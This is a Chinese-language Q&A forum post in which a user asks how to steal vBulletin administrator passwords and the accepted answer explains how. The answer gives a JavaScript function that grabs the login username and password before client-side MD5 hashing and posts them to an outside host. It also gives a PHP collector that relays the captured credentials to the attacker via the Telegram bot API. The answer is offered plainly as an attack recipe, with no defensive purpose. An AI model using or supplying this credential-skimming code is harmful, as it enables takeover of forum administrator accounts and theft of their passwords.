@烟雨
4年前 提问
1个回答

如何窃取 vBulletin 管理员密码

如何窃取vBulletin管理员密码?

Andrew
4年前
官方采纳

通过数据库中的加密密码来更改管理加密密码以访问管理面板,但您可能很快就会离开服务器。

但是有一个更好的解决方案,可以通过网络钓鱼攻击或使用JavaScript窃取密码来获取管理员纯文本密码,我将在本主题中进行介绍。

我们可以使用PHP并在发布请求后获取密码,但是vBulletin会在客户端使用JavaScript使用MD5加密密码,因此我们将尝试在密码加密之前获取密码。

我将使用的脚本是:

function mal()
{
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://example/admindata.php", true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
    xhr.send("Data="+document.getElementById("vb_login_username").value + " " + document.getElementById("vb_login_password").value);
}

给定的脚本获取密码并将其发送到PHP脚本,然后将其写入文件或使用电报或电子邮件将其发送给您(使用电报API的示例):

<?php

if ($_SERVER['REQUEST_METHOD'] == "POST" && isset($_POST['Data']))
{
$token = "YOUR_TOKEN";
file_get_contents("https://api.telegram.org/bot$token/sendMessage? 
chat_id=YOUR_CHAT_ID&text=" . urlencode($_POST['Data'])."" );
}
else
    header("Location: https://google.com");
?>

因此,现在您可以将PHP脚本上传到同一台服务器或同一台服务器上,或者可以直接从JavaScript发送密码。